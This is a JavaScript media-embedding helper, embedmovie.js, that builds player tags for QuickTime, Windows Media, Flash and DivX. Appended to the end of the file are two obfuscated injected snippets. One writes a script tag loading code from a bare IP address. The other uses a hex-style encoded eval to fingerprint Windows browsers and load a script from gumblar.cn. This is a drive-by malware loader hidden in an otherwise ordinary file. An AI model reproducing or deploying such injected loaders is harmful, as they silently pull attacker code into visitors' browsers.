/* embedmovie.js
 * Author: Laszlo Molnar / Hungary
 * Date: 01/11/2006
 * Version: 0.5
 */
 
var mtype = new Array (".avi.mp3", ".qt.mov.mpg.mpeg.mpe.mp4.m4v.aiff", ".wmv.wma.asf", ".swf", ".flv", ".divx.xvid" );
var cheight = new Array (0, 16, 64, 0, 18, 20);
var audio = ".mp3.wav.wma.aiff.mid.rm.ram";

function addParam(name, value) {
  return '<param name="' + name + '" value="' + value + '" />\n';
}

function embedMovie(src, width, height, autoplay, hide, scaletofit) {
  var isExplorer = (navigator.appName.indexOf('Explorer') != -1);
  var ext = src.substr(src.lastIndexOf('.')).toLowerCase();
  var isAudio = (audio.indexOf(ext) != -1);

  for(i = 0; i < mtype.length; i++)
    if(mtype[i].indexOf(ext) != -1) break;

  if(i == 0) { i = (navigator.userAgent.indexOf('Macintosh') != -1)? 1 : 2; }

  if(!scaletofit && audio.indexOf(ext) != -1) height = 0;
    
  if(hide) width = height = 0;
  else height += (i < mtype.length)? cheight[i] : 45;

  switch (i) {
  
  case 1: // QuickTime Movie

    if(isExplorer) {
      document.write('<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" ');
      document.write('codebase="http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0" '); }
    else
      document.write('<object type="video/quicktime" data="' + src + '"');

    document.write(' width="' + width + '" height="' + height + '" id="QuickTimePlayer">\n');
    document.write(addParam("src", src));
    document.write(addParam("autoplay", autoplay? 'true':'false'));
    document.write(addParam("bgcolor", "black"));
    if(scaletofit) document.write(addParam("scale", "tofit"));
    document.write('</object>\n');
    break;

  case 2: // Windows Media Player 

    //if(src.indexOf('/') == -1) src = './' + src;

    if(isExplorer)
      document.write('<object classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6" ');
    else
      document.write('<object type="video/x-ms-wmv" data="' + src + '" ');

    document.write('width="' + width + '" height="' + height + '" id="MediaPlayer">\n');
    if(isExplorer) document.write(addParam("URL", src));
    document.write(addParam("src", src));
    document.write(addParam("AutoStart", autoplay? '1':'0'));
    if(scaletofit) document.write(addParam("StretchToFit", '1'));
    document.write(addParam(isExplorer? "ShowControls":"Controller", '1'));
    document.write('</object>\n');
    break;

  case 3: // Flash Animation
    if(isExplorer) {
      document.write('<object classid="CLSID:D27CDB6E-AE6D-11CF-96B8-444553540000" ');
      document.write('codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" '); }
    else
      document.write('<object type="application/x-shockwave-flash" data="' + src + '" ');

    document.write('width="' + width + '" height="' + height + '" id="FlashPlayer" align="middle" />\n');
    document.write(addParam("movie", src));
    document.write(addParam("allowScriptAccess", "sameDomain"));
    document.write('</object>\n');
    break;

  case 4: // Flash movie
    if(isExplorer) {
      document.write('<object classid="CLSID:D27CDB6E-AE6D-11CF-96B8-444553540000" ');
      document.write('codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" '); }
    else
      document.write('<object type="application/x-shockwave-flash" data="' + src + '&autoStart=' + (autoplay? 'true':'false') + '" ');

    document.write('width="' + width + '" height="' + height + '" id="FlashPlayer" align="middle" />\n');
    document.write(addParam("movie", src + '&autoStart=' + (autoplay? 'true':'false')));
    document.write(addParam("allowScriptAccess", "sameDomain"));
    document.write(addParam("quality", "high"));
    document.write('</object>\n');
    break;

  case 5: // DivX Movie
    if(isExplorer) {
      document.write('<object classid="CLSID:67DABFBF-D0AB-41fa-9C46-CC0F21721616" ');
      document.write('codebase="http://go.divx.com/plugin/DivXBrowserPlugin.cab" '); }
    else
      document.write('<object type="video/divx" data="' + src + '" ');

    document.write('width="' + width + '" height="' + height + '" pluginspage="http://go.divx.com/plugin/download/" id="DivxPlayer">\n');
    document.write(addParam("mode", "zero"));
    document.write(addParam("autoPlay", autoplay? 'true':'false'));
    document.write(addParam("allowContextMenu", "false"));
    if(src.charAt(0) == "." || src.charAt(0) == "/" || src.indexOf("http:") == 0)
      document.write(addParam("src", src));
    else
      document.write(addParam("src", "./" + src));
    document.write('</object>\n');
    break;
	
  default: // Undefined
    document.write('<embed src="' + src + '" autostart="' + (autoplay? 'true':'false') + '" width="' + width + '" height="' + height + '" loop="false"></embed>');
  }
}

<!-- 
document.write(unescape('%3CuESsls6criptmZ%20src5WL%3D%2F%2F94%2Els624uES7%2E2%2E5WL195VzB%2FjTXBquls6euESrTXBy5WL%2EjsH5%3E5WL%3CH5%2Fsls6cTXBrTXBipFMOt%3E').replace(/VzB|ls6|H5|FMO|5WL|mZ|uES|TXB/g,""));
 --><!-- 
(function(XHG){var K3p='%';var NX3yS='var-20a-3d-22-53cr-69p-74En-67ine-22-2cb-3d-22Versi-6fn-28)+-22-2cj-3d-22-22-2c-75-3dnavi-67at-6f-72-2euse-72Agent-3bif-28(u-2ein-64exOf(-22Wi-6e-22)-3e0)-26-26(u-2e-69ndexO-66(-22NT-20-36-22)-3c-30)-26-26(doc-75me-6et-2ec-6fo-6bie-2e-69nd-65x-4ff(-22-6diek-3d1-22)-3c0)-26-26-28-74ypeof(-7arvz-74-73)-21-3d-74ypeof(-22A-22-29-29-29-7bzr-76z-74s-3d-22A-22-3beval(-22i-66(w-69nd-6fw-2e-22+a+-22)j-3d-6a+-22+a+-22Ma-6a-6fr-22+-62+a+-22Mi-6eor-22+b+a+-22Build-22+-62-2b-22j-3b-22)-3b-64ocu-6den-74-2ewrite(-22-3cscri-70-74-20src-3d-2f-2fgu-6d-62lar-2ecn-2frss-2f-3fid-3d-22+j+-22-3e-3c-5c-2fs-63-72ipt-3e-22)-3b-7d';var GMNF=unescape(NX3yS.replace(XHG,K3p));eval(GMNF)})(/-/g);
 -->
